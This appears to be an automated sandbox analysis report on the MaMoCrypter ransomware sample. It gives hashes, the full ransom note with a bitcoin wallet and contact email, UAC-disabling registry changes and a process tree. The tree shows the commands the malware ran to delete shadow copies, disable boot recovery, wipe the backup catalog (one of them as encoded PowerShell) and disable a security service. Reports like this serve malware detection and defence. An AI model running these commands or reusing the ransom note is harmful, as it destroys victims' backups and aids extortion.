6b55fa4d047a09ac46bff4e36e27cf8553670ec2e62c21e3e9652dbf26d89006

Analysis

max time kernel
112s
max time network
117s
platform
windows7_x64
resource
win7
submitted
21/07/2020, 16:16

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General

Target

MaMoCrypter.bin.exe
Size

922KB
MD5

0889138a3894284e97b61f9a310e3e7d
SHA1

6c51969b1b1686abd8220191e12e647ab7312517
SHA256

5063ae08ea15ab78bd9062ca0d0813c0682a22583ecd1830efeb6afcc2dd45d8
SHA512

23317713644609a71953fc632478ee638d818bbb675e4f4ca00226cb4006a631800b3fe35c57aa85078f54155cb5d5c409e37fff25fc8315ee702a30c18f6f18

Score

10^/10

ransomware evasion trojan persistence

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\How Do I Recover My Files (Readme).txt

Ransom Note

* What happened to my files? Your important files are encrypted. Many of your documents, photos, videos, databases, and other files are no longer accessible because they are encrypted. Maybe you're busy finding a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. However, if you want to use the programs of data recovery companies, please do not work on your original files, but make copies of them. Corruption of the actual files can cause irreversible damage to your data. * Can I Recover My Files? Sure. We guarantee that you can recover all your files safely and easily. But for this you need to send $300 worth bitcoins to our address. Even if you give money, Do not believe the people around you who say they will not give your files, I Have Enough Reference To Give You Confidence. I don't know about you, so there is no point in having bad feelings towards you, doing evil to you, my goal is just to earn an income from this business. * What about the guarantees? This is just a job. We never care about you and your deals. If we do not fulfill our work and obligations - no one will cooperate with us. If you do not believe us, tell us any 1 or 2 files with SIMPLE extensions (jpg, xls, doc, etc ... not databases!) And low size (max 1 mb) 1 or 2 file and following special public and private mzrevenge keys produced for you send us we will decrypt these files and send it back to you. This is our guarantee. * How to contact with you? You can write us to our mailbox: [email protected] Don't forget, check your "Spam" or "Junk" folder it you can't get more than 6 hours of answer. * How will the decryption process proceed after payment? After payment, we will send you our special decoder program by mail, just open it, then it will automatically decrypt all your files. but you need to pay for it and contact us. * So what is Bitcoin and how to get it? The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ If you are ready to pay the money we want, Bitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd These are public and private MZREVENGE decryption keys produced for you. If these keys are damaged, nobody can recovery your files. ============================{ PUBLIC MZREVENGE KEY }============================= MZRKEYPUBLICw4bDj8Ovck9NKcODw74WMFnCp3llwopDwrw9wrBvM8OcwrPDgMK9w78swpHDvAlswqRxdWjCuQfDr8OQC2TCo0PCmMOFw4RQbMKMRcKaK3DCn8OewqRAZsKUMXHDicK4wrZmw7xcwp7Ck8OEWynCqsO3OUbCgHrCtcKFZsKrw7nDgRbCnEB6wrnCmsKBKcOEw4ErMWhBwoVkwqPDqTTCi8K9w4XDrsOxwr9UWcKNKcOHwqEiX0tIwqPCkjoow6Q8w5Q5woPDtCbCpMKewpLCksOgw57CksKJOmFwQ8OcwohbQcKAPMK8Mg5YXsKhwrbDg8KcwonDvMKhZcO5wrHCpMK4wpN+wpdPRMK+wqITeE/Cu0JvazzDq0jDt8KlZ8O6wpTCg8OLaynCgsKNallzHB7DpMOeQyh6FgfCtWvDrkTCmh7CpMOjP8KKwobDgsOBXsKabMKswpgRBiQVHcOvMMK/w4Rgw4BAUFBjGsOgQzTDj3rDtcKgeTbCnhTCh8KrD2NxA8OfVgLDuMOiwoXDg8OmQH87azbDqXLDnMK3w4HCmjMiwr1xZsOUPV3CosOEwrA3N8KoUTzCvcOUwoR2esOewrp1wrHCkzNKclAxwqfDjsKxw6d2wpLDs0DDucORQsKnbw== ================================================================================= ============================{ PRIVATE MZREVENGE KEY }============================ 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 =================================================================================

Emails

[email protected]

Wallets

3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd

Signatures

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1288	svchost.exe
1288	svchost.exe
1288	svchost.exe
1288	svchost.exe
744	powershell.exe
744	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeBackupPrivilege	1804	vssvc.exe
Token: SeRestorePrivilege	1804	vssvc.exe
Token: SeAuditPrivilege	1804	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1836	WMIC.exe
Token: SeSecurityPrivilege	1836	WMIC.exe
Token: SeTakeOwnershipPrivilege	1836	WMIC.exe
Token: SeLoadDriverPrivilege	1836	WMIC.exe
Token: SeSystemProfilePrivilege	1836	WMIC.exe
Token: SeSystemtimePrivilege	1836	WMIC.exe
Token: SeProfSingleProcessPrivilege	1836	WMIC.exe
Token: SeIncBasePriorityPrivilege	1836	WMIC.exe
Token: SeCreatePagefilePrivilege	1836	WMIC.exe
Token: SeBackupPrivilege	1836	WMIC.exe
Token: SeRestorePrivilege	1836	WMIC.exe
Token: SeShutdownPrivilege	1836	WMIC.exe
Token: SeDebugPrivilege	1836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1836	WMIC.exe
Token: SeRemoteShutdownPrivilege	1836	WMIC.exe
Token: SeUndockPrivilege	1836	WMIC.exe
Token: SeManageVolumePrivilege	1836	WMIC.exe
Token: 33	1836	WMIC.exe
Token: 34	1836	WMIC.exe
Token: 35	1836	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1836	WMIC.exe
Token: SeSecurityPrivilege	1836	WMIC.exe
Token: SeTakeOwnershipPrivilege	1836	WMIC.exe
Token: SeLoadDriverPrivilege	1836	WMIC.exe
Token: SeSystemProfilePrivilege	1836	WMIC.exe
Token: SeSystemtimePrivilege	1836	WMIC.exe
Token: SeProfSingleProcessPrivilege	1836	WMIC.exe
Token: SeIncBasePriorityPrivilege	1836	WMIC.exe
Token: SeCreatePagefilePrivilege	1836	WMIC.exe
Token: SeBackupPrivilege	1836	WMIC.exe
Token: SeRestorePrivilege	1836	WMIC.exe
Token: SeShutdownPrivilege	1836	WMIC.exe
Token: SeDebugPrivilege	1836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1836	WMIC.exe
Token: SeRemoteShutdownPrivilege	1836	WMIC.exe
Token: SeUndockPrivilege	1836	WMIC.exe
Token: SeManageVolumePrivilege	1836	WMIC.exe
Token: 33	1836	WMIC.exe
Token: 34	1836	WMIC.exe
Token: 35	1836	WMIC.exe
Token: SeDebugPrivilege	744	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

System policy modification 1 TTPs 17 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0"	svchost.exe

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 900 wrote to memory of 1288	900	MaMoCrypter.bin.exe	24
PID 900 wrote to memory of 1288	900	MaMoCrypter.bin.exe	24
PID 900 wrote to memory of 1288	900	MaMoCrypter.bin.exe	24
PID 900 wrote to memory of 1288	900	MaMoCrypter.bin.exe	24
PID 1288 wrote to memory of 1596	1288	svchost.exe	26
PID 1288 wrote to memory of 1596	1288	svchost.exe	26
PID 1288 wrote to memory of 1596	1288	svchost.exe	26
PID 1288 wrote to memory of 1596	1288	svchost.exe	26
PID 1288 wrote to memory of 1616	1288	svchost.exe	28
PID 1288 wrote to memory of 1616	1288	svchost.exe	28
PID 1288 wrote to memory of 1616	1288	svchost.exe	28
PID 1288 wrote to memory of 1616	1288	svchost.exe	28
PID 1288 wrote to memory of 744	1288	svchost.exe	30
PID 1288 wrote to memory of 744	1288	svchost.exe	30
PID 1288 wrote to memory of 744	1288	svchost.exe	30
PID 1288 wrote to memory of 744	1288	svchost.exe	30
PID 1596 wrote to memory of 456	1596	cmd.exe	31
PID 1596 wrote to memory of 456	1596	cmd.exe	31
PID 1596 wrote to memory of 456	1596	cmd.exe	31
PID 1596 wrote to memory of 456	1596	cmd.exe	31
PID 1616 wrote to memory of 1056	1616	cmd.exe	33
PID 1616 wrote to memory of 1056	1616	cmd.exe	33
PID 1616 wrote to memory of 1056	1616	cmd.exe	33
PID 1616 wrote to memory of 1056	1616	cmd.exe	33
PID 1616 wrote to memory of 1836	1616	cmd.exe	35
PID 1616 wrote to memory of 1836	1616	cmd.exe	35
PID 1616 wrote to memory of 1836	1616	cmd.exe	35
PID 1616 wrote to memory of 1836	1616	cmd.exe	35
PID 1288 wrote to memory of 1608	1288	svchost.exe	37
PID 1288 wrote to memory of 1608	1288	svchost.exe	37
PID 1288 wrote to memory of 1608	1288	svchost.exe	37
PID 1288 wrote to memory of 1608	1288	svchost.exe	37

Executes dropped EXE 1 IoCs

pid	Process
1288	svchost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	svchost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\host	svchost.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1056	vssadmin.exe

Loads dropped DLL 1 IoCs

pid	Process
900	MaMoCrypter.bin.exe

C:\Users\Admin\AppData\Local\Temp\MaMoCrypter.bin.exe
"C:\Users\Admin\AppData\Local\Temp\MaMoCrypter.bin.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:900
- C:\Users\Admin\AppData\Local\Temp\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - System policy modification
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in Drivers directory
  PID:1288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\SysWOW64\sc.exe
      sc config "AppCheck" start=disabled
      4⤵
      PID:456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1056
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- - C:\Windows\SysWOW64\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\How Do I Recover My Files (Readme).txt
    3⤵
    PID:1608